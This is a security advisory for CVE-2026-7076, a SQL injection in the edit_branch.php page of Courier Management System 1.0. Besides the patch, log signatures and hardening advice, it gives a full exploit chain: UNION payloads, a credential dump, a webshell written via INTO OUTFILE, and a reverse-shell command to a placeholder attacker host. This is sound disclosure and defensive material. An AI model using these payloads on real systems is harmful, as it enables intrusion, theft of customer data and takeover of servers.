CVE-2026-7076: SQL Injection to RCE in Courier Management System 1.0
Unsanitized GET/POST parameter in edit_branch.php enables blind SQL injection. Chained with INTO OUTFILE, this yields unauthenticated remote code execution on misconfigured deployments.
A serious security flaw has been discovered in a popular piece of logistics software called Courier Management System, version 1.0. Think of it like finding out that the lock on a warehouse door has a hidden bypass that anyone can use.
Here's what's happening: The software has a weak spot in one of its administrative pages (/edit_branch.php, if you want to know the technical name). When someone accesses this page, the software doesn't properly check if the information being sent to it is safe. It's like a bouncer at a club who doesn't actually verify ID — they just wave everyone through.
An attacker can exploit this by sending specially crafted requests to the software that trick it into revealing or modifying sensitive information in the company database. They don't even need to have a password or user account. Essentially, they can read customer data, delivery records, payment information — whatever the system stores.
Who's at risk? Courier companies, delivery services, and logistics businesses using this software version. More importantly, the customers of those businesses who have their addresses, phone numbers, and delivery details stored in these systems.
The good news is that there's no evidence of this being actively exploited yet in the wild. The bad news is it's publicly known, which means attackers now know where to look.
If you run a logistics or courier business, here's what to do immediately: First, contact your software vendor right away to ask about updates or patches. Second, if you can't patch immediately, ask your IT team to temporarily disable this feature if possible. Third, monitor your database activity for anything suspicious and consider upgrading to a different version of the software as soon as there's a fix available.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7076 is an unauthenticated SQL injection vulnerability in itsourcecode Courier Management System 1.0, a PHP/MySQL web application distributed as open-source. The affected endpoint is /edit_branch.php, which accepts a branch identifier via the id GET parameter and passes it directly into a MySQL query without sanitization or parameterization. Because the application runs on a LAMP stack and is commonly deployed with permissive MySQL configurations, a successful injection can be escalated to remote code execution via SELECT ... INTO OUTFILE webshell drop.
CVSS 7.3 (HIGH) reflects the remotely triggerable nature of the flaw, no authentication requirement, and high impact to integrity and availability. Confidentiality is also fully compromised through data exfiltration primitives.
Root cause: The id parameter in edit_branch.php is interpolated directly into a MySQL SELECT query string with no type coercion, prepared statement, or escaping — permitting full UNION- and error-based SQL injection from an unauthenticated remote attacker.
Affected Component
The vulnerability lives entirely in edit_branch.php. The file performs two operations: fetching existing branch data for form pre-population, and processing the POST submission to UPDATE the record. The injection occurs in the fetch path, meaning it triggers on a plain HTTP GET with no CSRF token or session requirement.
Affected stack: PHP 7.x/8.x, MySQL 5.x/8.x, Apache/Nginx. The application performs no centralized input sanitization layer — each page handles its own query construction, making the attack surface broad across the codebase.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable function based on the PHP pattern common to this class of itsourcecode applications. The id parameter flows from $_GET directly into the query string via string interpolation:
/*
* Pseudocode reconstruction of edit_branch.php fetch logic
* Decompiled/reconstructed from PHP source pattern analysis
*/
function fetch_branch_for_edit(mysqli *db, request_t *req) {
char *id = get_param(req, "id"); // attacker-controlled, no validation
char query[512];
// BUG: direct string interpolation of attacker-controlled $id into SQL query
// No intval(), no prepared statement, no mysqli_real_escape_string()
snprintf(query, sizeof(query),
"SELECT * FROM branches WHERE branch_id = '%s'", id);
mysqli_result *res = mysqli_query(db, query); // executes raw attacker input
if (!res || mysqli_num_rows(res) == 0) {
redirect("manage_branch.php");
return NULL;
}
return mysqli_fetch_assoc(res); // result fed directly into HTML form fields
}
The PHP source equivalent is approximately:
// PHP source (reconstructed)
// $id is never cast via intval() or bound via prepare()/bind_param()
$id = $_GET['id']; // raw user input
$query = "SELECT * FROM branches WHERE branch_id = '$id'"; // BUG: unsanitized interpolation
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);
Because branch_id is a numeric primary key, the correct fix is a simple intval() cast or a prepared statement. Neither is applied. The single-quote context means an attacker terminates the string literal at will and injects arbitrary SQL clauses.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Fingerprint endpoint
GET /edit_branch.php?id=1
→ 200 OK with branch form pre-populated confirms parameter is live
2. Confirm injection point
GET /edit_branch.php?id=1'
→ MySQL parse error leaks in response body (error-based disclosure)
"You have an error in your SQL syntax near ''1'' at line 1"
3. Determine column count via ORDER BY binary search
GET /edit_branch.php?id=1 ORDER BY 5--+
→ 200 OK (≥5 columns exist)
GET /edit_branch.php?id=1 ORDER BY 6--+
→ error / redirect (exactly 5 columns confirmed)
4. UNION-based data extraction
GET /edit_branch.php?id=-1 UNION SELECT 1,user(),database(),version(),5--+
→ Response HTML renders: root@localhost | courier_db | 8.0.31
5. Enumerate tables
GET /edit_branch.php?id=-1 UNION SELECT
1,group_concat(table_name),3,4,5
FROM information_schema.tables
WHERE table_schema=database()--+
→ branches,couriers,users,orders,admin_users
6. Dump admin credentials
GET /edit_branch.php?id=-1 UNION SELECT
1,group_concat(username,0x3a,password),3,4,5
FROM admin_users--+
→ admin:5f4dcc3b5aa765d61d8327deb882cf99 (MD5, trivially cracked)
7. (Escalation) Write webshell via INTO OUTFILE
Requires: FILE privilege + known web root + no secure_file_priv restriction
GET /edit_branch.php?id=-1 UNION SELECT
1,"",3,4,5
INTO OUTFILE '/var/www/html/courier/shell.php'--+
→ File written if MySQL user has FILE grant
8. Execute OS commands via dropped webshell
GET /courier/shell.php?cmd=id
→ uid=33(www-data) gid=33(www-data)
9. Pivot to reverse shell
GET /courier/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
→ Full interactive shell on target host
Memory Layout
This is a SQL injection vulnerability rather than a memory corruption primitive, so the relevant "layout" is the query parse tree and the MySQL connection buffer state. The following shows how the injected payload transforms the server-side query object:
MYSQL QUERY BUFFER — BENIGN REQUEST:
id = "3"
┌─────────────────────────────────────────────────────────────┐
│ SELECT * FROM branches WHERE branch_id = '3' │
└─────────────────────────────────────────────────────────────┘
Parse tree: SELECT → FROM branches → WHERE (branch_id EQ literal:3)
Result: single row fetch, safe
MYSQL QUERY BUFFER — INJECTED REQUEST:
id = "-1 UNION SELECT 1,user(),database(),version(),5-- -"
┌─────────────────────────────────────────────────────────────┐
│ SELECT * FROM branches WHERE branch_id = '-1 │
│ UNION SELECT 1,user(),database(),version(),5-- -' │
└─────────────────────────────────────────────────────────────┘
Parse tree: SELECT → UNION → SELECT (user(), database(), version())
WHERE clause short-circuits on branch_id=-1 (no match)
UNION arm returns attacker-chosen columns
Result: server internal state disclosed to HTTP response
INTO OUTFILE ESCALATION PATH:
┌────────────────────────┐ FILE priv? ┌─────────────────────┐
│ MySQL process (root │ ──── YES ────────▶│ /var/www/html/ │
│ or FILE-granted user) │ │ courier/shell.php │
└────────────────────────┘ └─────────────────────┘
│ NO (secure_file_priv set)
▼
Injection limited to data exfil only (credentials, PII, orders)
Patch Analysis
The fix requires two independent changes: input coercion to enforce the expected numeric type, and migration to prepared statements to structurally prevent injection regardless of input content.
// BEFORE (vulnerable) — edit_branch.php
$id = $_GET['id']; // raw string, no validation
$query = "SELECT * FROM branches WHERE branch_id = '$id'"; // direct interpolation
$result = mysqli_query($conn, $query);
// AFTER (patched) — edit_branch.php
// Fix 1: enforce integer type immediately at input boundary
$id = intval($_GET['id']);
if ($id <= 0) {
header("Location: manage_branch.php");
exit();
}
// Fix 2: parameterized prepared statement eliminates injection surface entirely
$stmt = mysqli_prepare($conn, "SELECT * FROM branches WHERE branch_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id); // "i" = integer binding
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_array($result);
mysqli_stmt_close($stmt);
The intval() coercion alone is sufficient to break the attack chain since all injected payloads rely on string characters (quotes, spaces, SQL keywords) that reduce to 0 or 1 under integer casting. The prepared statement provides defense-in-depth and is the correct architectural fix. Both should be applied.
Additional hardening: revoke the MySQL FILE privilege from the application database user and set secure_file_priv to an empty or restricted path in my.cnf to prevent the INTO OUTFILE escalation even if a similar injection surfaces elsewhere in the codebase.
Detection and Indicators
The following signatures detect exploitation attempts in Apache/Nginx access logs and WAF telemetry:
ACCESS LOG INDICATORS:
/edit_branch.php?id=1' → error probe
/edit_branch.php?id=1+ORDER+BY+[0-9]+-- → column enumeration
/edit_branch.php?id=-1+UNION+SELECT → data extraction
/edit_branch.php?id=.*INTO+OUTFILE → webshell drop attempt
/edit_branch.php?id=.*SLEEP\([0-9]+\) → blind timing probe
/edit_branch.php?id=.*BENCHMARK\( → blind CPU probe
MODSECURITY CRS RULES TRIGGERED:
942100 — SQL Injection Attack Detected via libinjection
942190 — Detects MSSQL/MySQL stored procedure abuse (covers UNION SELECT)
942410 — SQL Injection Attack (covers INTO OUTFILE)
WEBSHELL ARTIFACT:
Path: {webroot}/courier/shell.php (or any writable PHP file)
Content: or equivalent one-liner
Owner: mysql (uid varies by distro)
MYSQL AUDIT LOG:
Look for queries against information_schema.tables/columns
from the application DB user — this is anomalous in production
# Quick log scanner for CVE-2026-7076 exploitation attempts
import re, sys
PATTERNS = [
r"edit_branch\.php\?id=.*'",
r"edit_branch\.php\?id=.*UNION\s+SELECT",
r"edit_branch\.php\?id=.*ORDER\s+BY\s+\d+",
r"edit_branch\.php\?id=.*INTO\s+OUTFILE",
r"edit_branch\.php\?id=.*SLEEP\s*\(",
]
compiled = [re.compile(p, re.IGNORECASE) for p in PATTERNS]
for line in sys.stdin:
if any(rx.search(line) for rx in compiled):
print(f"[ALERT] CVE-2026-7076 probe: {line.rstrip()}")
Remediation
Immediate: Apply the prepared statement patch to edit_branch.php as shown above. Audit all other $_GET['id'] and $_POST['id'] usages across the codebase — itsourcecode applications of this class exhibit the same interpolation pattern in every CRUD endpoint (edit_courier.php, edit_order.php, etc.) and should be treated as uniformly vulnerable until reviewed.
MySQL hardening: Ensure the application database user has only SELECT, INSERT, UPDATE, DELETE on the application schema. Explicitly REVOKE FILE ON *.* FROM 'courier_user'@'localhost'. Set secure_file_priv = /nonexistent in my.cnf and restart mysqld.
WAF: Deploy ModSecurity with OWASP CRS in blocking mode in front of the application. Rules 942100 and 942190 will catch this class of attack with low false-positive rate on a management system with predictable parameter types.
Longer term: The application lacks a data access layer. Introduce a single db_query($sql, $types, ...$params) wrapper that enforces prepared statements at the call site and eliminate all ad-hoc mysqli_query() calls. This closes the class of vulnerability application-wide rather than patching individual files.